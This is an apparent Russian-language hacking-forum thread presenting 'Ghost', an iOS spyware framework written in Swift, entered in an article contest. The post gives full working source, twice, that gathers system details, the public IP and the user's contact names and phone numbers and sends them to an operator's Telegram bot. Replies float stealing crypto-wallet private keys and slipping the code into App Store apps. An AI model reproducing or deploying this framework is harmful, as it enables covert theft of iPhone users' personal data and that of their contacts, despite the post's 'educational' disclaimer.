• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Ghost spy framework for IOS

XSSBot

Форумный бот
Пользователь
Регистрация
31.12.2005
Сообщения
1 473
Реакции
898
Автор k1ddddos
Статья написана для
Конкурса статей #10


Дисклеймер: все в образовательной форме! За действия пользователей не несу ответственность.
Сидел я на досуге, как то и читал форум про malware разработку под android думаю, а почему нельзя сделать что то под iOS. Начал писать код. Создал проект в Xcode начал делать первые наброски. Сначала информацию о системе получал потом вспомнил что есть у эпла либа называется Contacts. По размышлял пришел к выводу будет сбор информации о системе, а так же получение контактов и все отправляется в telegram бота, как сейчас модно. В конце я сделал framework. Начнем!
0. Настройка
Swift:
import Foundation
internal import Alamofire
import Contacts

public class GhostManager {
    public static let shared = GhostManager(); private init() {}
    public var botToken: String = ""
    public var chatId: String = ""
    private var telegramApiUrl: String {
        return "https://api.telegram.org/bot\(botToken)/sendMessage"
    }
1. Первый мой шаг был это сбор информации о железе и ip-шник
Swift:
private func getSystemInfo(completion: @escaping (String) -> Void) {
        let systemName = ProcessInfo.processInfo.operatingSystemVersionString
        let hostName = ProcessInfo.processInfo.hostName
        let userName = NSUserName()
        let mem = ProcessInfo.processInfo.physicalMemory / (1024 * 1024 * 1024)
        let message = """
        System Info:
        Version IOS: \(systemName)
        Host Name: \(hostName)
        User Name: \(userName)
        Memory usage: \(mem) GB
        """
        completion(message)
    }

2. Дальше получение ip адреса:
Swift:
private func getIpAddress(completion: @escaping (String) -> Void) {
        DispatchQueue.global(qos: .background).async {
            AF.request("https://ipinfo.io/ip").validate().response { response in
                switch response.result {
                case .success(let data):
                    if let data = data, let responseString = String(data: data, encoding: .utf8) {
                        DispatchQueue.main.async {
                            completion("iPhone IP: \(responseString)")
                        }
                    } else {
                        DispatchQueue.main.async {
                            completion("IP успешно получен, но данные пустые.")
                        }
                    }
                case .failure(let error):
                    DispatchQueue.main.async {
                        completion("Ошибка получения IP: \(error.localizedDescription)")
                    }
                }
            }
        }
    }
3. Получение контактов:
Swift:
private func fetchContacts(completion: @escaping (String) -> Void) {
        DispatchQueue.global(qos: .background).async {
            let store = CNContactStore()
            store.requestAccess(for: .contacts) { granted, error in
                if let error = error {
                    DispatchQueue.main.async {
                        completion("Ошибка доступа к контактам: \(error.localizedDescription)")
                    }
                    return
                }
                guard granted else {
                    DispatchQueue.main.async {
                        completion("Доступ к контактам был запрещен пользователем.")
                    }
                    return
                }
               
                let keysToFetch: [CNKeyDescriptor] = [
                    CNContactGivenNameKey as CNKeyDescriptor,
                    CNContactFamilyNameKey as CNKeyDescriptor,
                    CNContactPhoneNumbersKey as CNKeyDescriptor
                ]
                let request = CNContactFetchRequest(keysToFetch: keysToFetch)
                var result = "Контакты:\n"
               
                do {
                    try store.enumerateContacts(with: request) { contact, stop in
                        let fullName = "\(contact.givenName) \(contact.familyName)"
                        let phoneNumbers = contact.phoneNumbers.map { $0.value.stringValue }
                        result += "Имя: \(fullName)\n"
                        result += "Телефоны: \(phoneNumbers.joined(separator: ", "))\n\n"
                    }
                    DispatchQueue.main.async {
                        completion(result)
                    }
                } catch {
                    DispatchQueue.main.async {
                        completion("Ошибка получения контактов: \(error.localizedDescription)")
                    }
                }
            }
        }
    }
4. Напишем отправку данных в телеграмм:
Swift:
private func sendMessageToTelegram(message: String) {
        let parts = splitMessage(message)
        let dispatchGroup = DispatchGroup()
       
        for part in parts {
            dispatchGroup.enter()
            let parameters: [String: Any] = [
                "chat_id": chatId,
                "text": part
            ]
           
            AF.request(telegramApiUrl, method: .post, parameters: parameters, encoding: JSONEncoding.default).response { response in
                switch response.result {
                case .success(let data):
                    if let data = data, let _ = String(data: data, encoding: .utf8) {
                        print("")
                    } else {
                        print("Сообщение успешно отправлено.")
                    }
                case .failure(let error):
                    print("Ошибка отправки сообщения: \(error.localizedDescription)")
                }
                dispatchGroup.leave()
            }
        }
       
        dispatchGroup.notify(queue: .main) {
            print("Все сообщения успешно отправлены.")
        }
    }
5. Собираем все данные в кучу и готовим к отправке:
Swift:
public func sendMessage() {
        let dispatchGroup = DispatchGroup()
        var systemInfo: String?
        var ipAddress: String?
        var contactsInfo: String?
        dispatchGroup.enter()
        getSystemInfo { result in
            systemInfo = result
            dispatchGroup.leave()
        }
        dispatchGroup.enter()
        getIpAddress { result in
            ipAddress = result
            dispatchGroup.leave()
        }
        dispatchGroup.notify(queue: .main) { [self] in
            dispatchGroup.enter()
            fetchContacts { result in
                contactsInfo = result
                dispatchGroup.leave()
            }
            dispatchGroup.notify(queue: .main) {
                if let systemInfo = systemInfo {
                    self.sendMessageToTelegram(message: systemInfo)
                }
               
                if let ipAddress = ipAddress {
                    self.sendMessageToTelegram(message: ipAddress)
                }
               
                if let contactsInfo = contactsInfo {
                    self.sendMessageToTelegram(message: contactsInfo)
                }
            }
        }
    }
6. Разделение сообщения на части максимум слов которое содержится в сообщении в тг это 4096 поэтому разбиваем на части:
Swift:
private func splitMessage(_ message: String, maxLength: Int = 4096) -> [String] {
        var result: [String] = []
        var currentMessage = ""
       
        for line in message.split(separator: "\n") {
            if currentMessage.count + line.count + 1 > maxLength {
                result.append(currentMessage)
                currentMessage = ""
            }
            currentMessage += (currentMessage.isEmpty ? "" : "\n") + line
        }
       
        if !currentMessage.isEmpty {
            result.append(currentMessage)
        }
        return result
    }
}
Ну вот написали я дальше задался вопросом а как сделать чтобы всем было удобно "пользоваться" и сделал framework написал документацию
Ниже скрины с результатами прикреплю и документацию покажу. Надеюсь было интересно статьи особо писать не умею. Это моя первая публикация. Я знаю что нежелательно использовать доп зависимости при написании framework. Тем более все рассчитано на образовательные цели!
Полный код:
Swift:
import Foundation
internal import Alamofire
import Contacts

public class GhostManager {
    public static let shared = GhostManager(); private init() {}
    public var botToken: String = ""
    public var chatId: String = ""
    private var telegramApiUrl: String {
        return "https://api.telegram.org/bot\(botToken)/sendMessage"
    }
    private func getSystemInfo(completion: @escaping (String) -> Void) {
        let systemName = ProcessInfo.processInfo.operatingSystemVersionString
        let hostName = ProcessInfo.processInfo.hostName
        let userName = NSUserName()
        let mem = ProcessInfo.processInfo.physicalMemory / (1024 * 1024 * 1024)
        let message = """
        System Info:
        Version IOS: \(systemName)
        Host Name: \(hostName)
        User Name: \(userName)
        Memory usage: \(mem) GB
        """
        completion(message)
    }
    private func getIpAddress(completion: @escaping (String) -> Void) {
        DispatchQueue.global(qos: .background).async {
            AF.request("https://ipinfo.io/ip").validate().response { response in
                switch response.result {
                case .success(let data):
                    if let data = data, let responseString = String(data: data, encoding: .utf8) {
                        DispatchQueue.main.async {
                            completion("iPhone IP: \(responseString)")
                        }
                    } else {
                        DispatchQueue.main.async {
                            completion("IP успешно получен, но данные пустые.")
                        }
                    }
                case .failure(let error):
                    DispatchQueue.main.async {
                        completion("Ошибка получения IP: \(error.localizedDescription)")
                    }
                }
            }
        }
    }
    private func fetchContacts(completion: @escaping (String) -> Void) {
        DispatchQueue.global(qos: .background).async {
            let store = CNContactStore()
            store.requestAccess(for: .contacts) { granted, error in
                if let error = error {
                    DispatchQueue.main.async {
                        completion("Ошибка доступа к контактам: \(error.localizedDescription)")
                    }
                    return
                }
                guard granted else {
                    DispatchQueue.main.async {
                        completion("Доступ к контактам был запрещен пользователем.")
                    }
                    return
                }
               
                let keysToFetch: [CNKeyDescriptor] = [
                    CNContactGivenNameKey as CNKeyDescriptor,
                    CNContactFamilyNameKey as CNKeyDescriptor,
                    CNContactPhoneNumbersKey as CNKeyDescriptor
                ]
                let request = CNContactFetchRequest(keysToFetch: keysToFetch)
                var result = "Контакты:\n"
               
                do {
                    try store.enumerateContacts(with: request) { contact, stop in
                        let fullName = "\(contact.givenName) \(contact.familyName)"
                        let phoneNumbers = contact.phoneNumbers.map { $0.value.stringValue }
                        result += "Имя: \(fullName)\n"
                        result += "Телефоны: \(phoneNumbers.joined(separator: ", "))\n\n"
                    }
                    DispatchQueue.main.async {
                        completion(result)
                    }
                } catch {
                    DispatchQueue.main.async {
                        completion("Ошибка получения контактов: \(error.localizedDescription)")
                    }
                }
            }
        }
    }
    public func sendMessage() {
        let dispatchGroup = DispatchGroup()
        var systemInfo: String?
        var ipAddress: String?
        var contactsInfo: String?
        dispatchGroup.enter()
        getSystemInfo { result in
            systemInfo = result
            dispatchGroup.leave()
        }
        dispatchGroup.enter()
        getIpAddress { result in
            ipAddress = result
            dispatchGroup.leave()
        }
        dispatchGroup.notify(queue: .main) { [self] in
            dispatchGroup.enter()
            fetchContacts { result in
                contactsInfo = result
                dispatchGroup.leave()
            }
            dispatchGroup.notify(queue: .main) {
                if let systemInfo = systemInfo {
                    self.sendMessageToTelegram(message: systemInfo)
                }
               
                if let ipAddress = ipAddress {
                    self.sendMessageToTelegram(message: ipAddress)
                }
               
                if let contactsInfo = contactsInfo {
                    self.sendMessageToTelegram(message: contactsInfo)
                }
            }
        }
    }
    private func sendMessageToTelegram(message: String) {
        let parts = splitMessage(message)
        let dispatchGroup = DispatchGroup()
       
        for part in parts {
            dispatchGroup.enter()
            let parameters: [String: Any] = [
                "chat_id": chatId,
                "text": part
            ]
           
            AF.request(telegramApiUrl, method: .post, parameters: parameters, encoding: JSONEncoding.default).response { response in
                switch response.result {
                case .success(let data):
                    if let data = data, let _ = String(data: data, encoding: .utf8) {
                        print("")
                    } else {
                        print("Сообщение успешно отправлено.")
                    }
                case .failure(let error):
                    print("Ошибка отправки сообщения: \(error.localizedDescription)")
                }
                dispatchGroup.leave()
            }
        }
       
        dispatchGroup.notify(queue: .main) {
            print("Все сообщения успешно отправлены.")
        }
    }
    private func splitMessage(_ message: String, maxLength: Int = 4096) -> [String] {
        var result: [String] = []
        var currentMessage = ""
       
        for line in message.split(separator: "\n") {
            if currentMessage.count + line.count + 1 > maxLength {
                result.append(currentMessage)
                currentMessage = ""
            }
            currentMessage += (currentMessage.isEmpty ? "" : "\n") + line
        }
       
        if !currentMessage.isEmpty {
            result.append(currentMessage)
        }
        return result
    }
}
document.png


result.png
 
Последнее редактирование модератором:
Кажется, это статья бы взлетела, если бы ты продемонстрировал технику кражи приваток с криптокошельков на ios устройствах
Подумаю как реализовать, у эпл политика безопасности на iOS устройствах неплохая
 
Interesting, but bypassing for future info is kinda impossible, standard info such as GEO, iOS version and so on can be easily extracted but going deeper for passwords, cookies or other data, from my point of view is totally impossible.
 
Interesting, but bypassing for future info is kinda impossible, standard info such as GEO, iOS version and so on can be easily extracted but going deeper for passwords, cookies or other data, from my point of view is totally impossible.
Yes you are right it is impossible, keychain is very well protected, only exploit can be used, but they are hard to find.
 
It turns out that delivery to devices is only possible as an insert into some legitimate application?
Yes, of course, only thru App Store. It is very rare to none when someone actually pushes a malware into apple's app store, even so you need root access on the phone to even attempt to touch something.
 
It is very rare to none when someone actually pushes a malware into apple's app store
All meta apps, all google apps, and much much more. if you read the whole user agreement on much of the apps from app store, there is no difference between them and any spy app. just that they cant "control" the device, but they have access to almost everything.
 
Автор k1ddddos
Статья написана для
Конкурса статей #10


Дисклеймер: все в образовательной форме! За действия пользователей не несу ответственность.
Сидел я на досуге, как то и читал форум про malware разработку под android думаю, а почему нельзя сделать что то под iOS. Начал писать код. Создал проект в Xcode начал делать первые наброски. Сначала информацию о системе получал потом вспомнил что есть у эпла либа называется Contacts. По размышлял пришел к выводу будет сбор информации о системе, а так же получение контактов и все отправляется в telegram бота, как сейчас модно. В конце я сделал framework. Начнем!
0. Настройка
Swift:
import Foundation
internal import Alamofire
import Contacts

public class GhostManager {
    public static let shared = GhostManager(); private init() {}
    public var botToken: String = ""
    public var chatId: String = ""
    private var telegramApiUrl: String {
        return "https://api.telegram.org/bot\(botToken)/sendMessage"
    }
1. Первый мой шаг был это сбор информации о железе и ip-шник
Swift:
private func getSystemInfo(completion: @escaping (String) -> Void) {
        let systemName = ProcessInfo.processInfo.operatingSystemVersionString
        let hostName = ProcessInfo.processInfo.hostName
        let userName = NSUserName()
        let mem = ProcessInfo.processInfo.physicalMemory / (1024 * 1024 * 1024)
        let message = """
        System Info:
        Version IOS: \(systemName)
        Host Name: \(hostName)
        User Name: \(userName)
        Memory usage: \(mem) GB
        """
        completion(message)
    }

2. Дальше получение ip адреса:
Swift:
private func getIpAddress(completion: @escaping (String) -> Void) {
        DispatchQueue.global(qos: .background).async {
            AF.request("https://ipinfo.io/ip").validate().response { response in
                switch response.result {
                case .success(let data):
                    if let data = data, let responseString = String(data: data, encoding: .utf8) {
                        DispatchQueue.main.async {
                            completion("iPhone IP: \(responseString)")
                        }
                    } else {
                        DispatchQueue.main.async {
                            completion("IP успешно получен, но данные пустые.")
                        }
                    }
                case .failure(let error):
                    DispatchQueue.main.async {
                        completion("Ошибка получения IP: \(error.localizedDescription)")
                    }
                }
            }
        }
    }
3. Получение контактов:
Swift:
private func fetchContacts(completion: @escaping (String) -> Void) {
        DispatchQueue.global(qos: .background).async {
            let store = CNContactStore()
            store.requestAccess(for: .contacts) { granted, error in
                if let error = error {
                    DispatchQueue.main.async {
                        completion("Ошибка доступа к контактам: \(error.localizedDescription)")
                    }
                    return
                }
                guard granted else {
                    DispatchQueue.main.async {
                        completion("Доступ к контактам был запрещен пользователем.")
                    }
                    return
                }
              
                let keysToFetch: [CNKeyDescriptor] = [
                    CNContactGivenNameKey as CNKeyDescriptor,
                    CNContactFamilyNameKey as CNKeyDescriptor,
                    CNContactPhoneNumbersKey as CNKeyDescriptor
                ]
                let request = CNContactFetchRequest(keysToFetch: keysToFetch)
                var result = "Контакты:\n"
              
                do {
                    try store.enumerateContacts(with: request) { contact, stop in
                        let fullName = "\(contact.givenName) \(contact.familyName)"
                        let phoneNumbers = contact.phoneNumbers.map { $0.value.stringValue }
                        result += "Имя: \(fullName)\n"
                        result += "Телефоны: \(phoneNumbers.joined(separator: ", "))\n\n"
                    }
                    DispatchQueue.main.async {
                        completion(result)
                    }
                } catch {
                    DispatchQueue.main.async {
                        completion("Ошибка получения контактов: \(error.localizedDescription)")
                    }
                }
            }
        }
    }
4. Напишем отправку данных в телеграмм:
Swift:
private func sendMessageToTelegram(message: String) {
        let parts = splitMessage(message)
        let dispatchGroup = DispatchGroup()
      
        for part in parts {
            dispatchGroup.enter()
            let parameters: [String: Any] = [
                "chat_id": chatId,
                "text": part
            ]
          
            AF.request(telegramApiUrl, method: .post, parameters: parameters, encoding: JSONEncoding.default).response { response in
                switch response.result {
                case .success(let data):
                    if let data = data, let _ = String(data: data, encoding: .utf8) {
                        print("")
                    } else {
                        print("Сообщение успешно отправлено.")
                    }
                case .failure(let error):
                    print("Ошибка отправки сообщения: \(error.localizedDescription)")
                }
                dispatchGroup.leave()
            }
        }
      
        dispatchGroup.notify(queue: .main) {
            print("Все сообщения успешно отправлены.")
        }
    }
5. Собираем все данные в кучу и готовим к отправке:
Swift:
public func sendMessage() {
        let dispatchGroup = DispatchGroup()
        var systemInfo: String?
        var ipAddress: String?
        var contactsInfo: String?
        dispatchGroup.enter()
        getSystemInfo { result in
            systemInfo = result
            dispatchGroup.leave()
        }
        dispatchGroup.enter()
        getIpAddress { result in
            ipAddress = result
            dispatchGroup.leave()
        }
        dispatchGroup.notify(queue: .main) { [self] in
            dispatchGroup.enter()
            fetchContacts { result in
                contactsInfo = result
                dispatchGroup.leave()
            }
            dispatchGroup.notify(queue: .main) {
                if let systemInfo = systemInfo {
                    self.sendMessageToTelegram(message: systemInfo)
                }
              
                if let ipAddress = ipAddress {
                    self.sendMessageToTelegram(message: ipAddress)
                }
              
                if let contactsInfo = contactsInfo {
                    self.sendMessageToTelegram(message: contactsInfo)
                }
            }
        }
    }
6. Разделение сообщения на части максимум слов которое содержится в сообщении в тг это 4096 поэтому разбиваем на части:
Swift:
private func splitMessage(_ message: String, maxLength: Int = 4096) -> [String] {
        var result: [String] = []
        var currentMessage = ""
      
        for line in message.split(separator: "\n") {
            if currentMessage.count + line.count + 1 > maxLength {
                result.append(currentMessage)
                currentMessage = ""
            }
            currentMessage += (currentMessage.isEmpty ? "" : "\n") + line
        }
      
        if !currentMessage.isEmpty {
            result.append(currentMessage)
        }
        return result
    }
}
Ну вот написали я дальше задался вопросом а как сделать чтобы всем было удобно "пользоваться" и сделал framework написал документацию
Ниже скрины с результатами прикреплю и документацию покажу. Надеюсь было интересно статьи особо писать не умею. Это моя первая публикация. Я знаю что нежелательно использовать доп зависимости при написании framework. Тем более все рассчитано на образовательные цели!
Полный код:
Swift:
import Foundation
internal import Alamofire
import Contacts

public class GhostManager {
    public static let shared = GhostManager(); private init() {}
    public var botToken: String = ""
    public var chatId: String = ""
    private var telegramApiUrl: String {
        return "https://api.telegram.org/bot\(botToken)/sendMessage"
    }
    private func getSystemInfo(completion: @escaping (String) -> Void) {
        let systemName = ProcessInfo.processInfo.operatingSystemVersionString
        let hostName = ProcessInfo.processInfo.hostName
        let userName = NSUserName()
        let mem = ProcessInfo.processInfo.physicalMemory / (1024 * 1024 * 1024)
        let message = """
        System Info:
        Version IOS: \(systemName)
        Host Name: \(hostName)
        User Name: \(userName)
        Memory usage: \(mem) GB
        """
        completion(message)
    }
    private func getIpAddress(completion: @escaping (String) -> Void) {
        DispatchQueue.global(qos: .background).async {
            AF.request("https://ipinfo.io/ip").validate().response { response in
                switch response.result {
                case .success(let data):
                    if let data = data, let responseString = String(data: data, encoding: .utf8) {
                        DispatchQueue.main.async {
                            completion("iPhone IP: \(responseString)")
                        }
                    } else {
                        DispatchQueue.main.async {
                            completion("IP успешно получен, но данные пустые.")
                        }
                    }
                case .failure(let error):
                    DispatchQueue.main.async {
                        completion("Ошибка получения IP: \(error.localizedDescription)")
                    }
                }
            }
        }
    }
    private func fetchContacts(completion: @escaping (String) -> Void) {
        DispatchQueue.global(qos: .background).async {
            let store = CNContactStore()
            store.requestAccess(for: .contacts) { granted, error in
                if let error = error {
                    DispatchQueue.main.async {
                        completion("Ошибка доступа к контактам: \(error.localizedDescription)")
                    }
                    return
                }
                guard granted else {
                    DispatchQueue.main.async {
                        completion("Доступ к контактам был запрещен пользователем.")
                    }
                    return
                }
              
                let keysToFetch: [CNKeyDescriptor] = [
                    CNContactGivenNameKey as CNKeyDescriptor,
                    CNContactFamilyNameKey as CNKeyDescriptor,
                    CNContactPhoneNumbersKey as CNKeyDescriptor
                ]
                let request = CNContactFetchRequest(keysToFetch: keysToFetch)
                var result = "Контакты:\n"
              
                do {
                    try store.enumerateContacts(with: request) { contact, stop in
                        let fullName = "\(contact.givenName) \(contact.familyName)"
                        let phoneNumbers = contact.phoneNumbers.map { $0.value.stringValue }
                        result += "Имя: \(fullName)\n"
                        result += "Телефоны: \(phoneNumbers.joined(separator: ", "))\n\n"
                    }
                    DispatchQueue.main.async {
                        completion(result)
                    }
                } catch {
                    DispatchQueue.main.async {
                        completion("Ошибка получения контактов: \(error.localizedDescription)")
                    }
                }
            }
        }
    }
    public func sendMessage() {
        let dispatchGroup = DispatchGroup()
        var systemInfo: String?
        var ipAddress: String?
        var contactsInfo: String?
        dispatchGroup.enter()
        getSystemInfo { result in
            systemInfo = result
            dispatchGroup.leave()
        }
        dispatchGroup.enter()
        getIpAddress { result in
            ipAddress = result
            dispatchGroup.leave()
        }
        dispatchGroup.notify(queue: .main) { [self] in
            dispatchGroup.enter()
            fetchContacts { result in
                contactsInfo = result
                dispatchGroup.leave()
            }
            dispatchGroup.notify(queue: .main) {
                if let systemInfo = systemInfo {
                    self.sendMessageToTelegram(message: systemInfo)
                }
              
                if let ipAddress = ipAddress {
                    self.sendMessageToTelegram(message: ipAddress)
                }
              
                if let contactsInfo = contactsInfo {
                    self.sendMessageToTelegram(message: contactsInfo)
                }
            }
        }
    }
    private func sendMessageToTelegram(message: String) {
        let parts = splitMessage(message)
        let dispatchGroup = DispatchGroup()
      
        for part in parts {
            dispatchGroup.enter()
            let parameters: [String: Any] = [
                "chat_id": chatId,
                "text": part
            ]
          
            AF.request(telegramApiUrl, method: .post, parameters: parameters, encoding: JSONEncoding.default).response { response in
                switch response.result {
                case .success(let data):
                    if let data = data, let _ = String(data: data, encoding: .utf8) {
                        print("")
                    } else {
                        print("Сообщение успешно отправлено.")
                    }
                case .failure(let error):
                    print("Ошибка отправки сообщения: \(error.localizedDescription)")
                }
                dispatchGroup.leave()
            }
        }
      
        dispatchGroup.notify(queue: .main) {
            print("Все сообщения успешно отправлены.")
        }
    }
    private func splitMessage(_ message: String, maxLength: Int = 4096) -> [String] {
        var result: [String] = []
        var currentMessage = ""
      
        for line in message.split(separator: "\n") {
            if currentMessage.count + line.count + 1 > maxLength {
                result.append(currentMessage)
                currentMessage = ""
            }
            currentMessage += (currentMessage.isEmpty ? "" : "\n") + line
        }
      
        if !currentMessage.isEmpty {
            result.append(currentMessage)
        }
        return result
    }
}
Посмотреть вложение 100692

Посмотреть вложение 100693
Моя статья была украдена кем-то и выпущена на
https://lolz[.]live/threads/8099016/
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх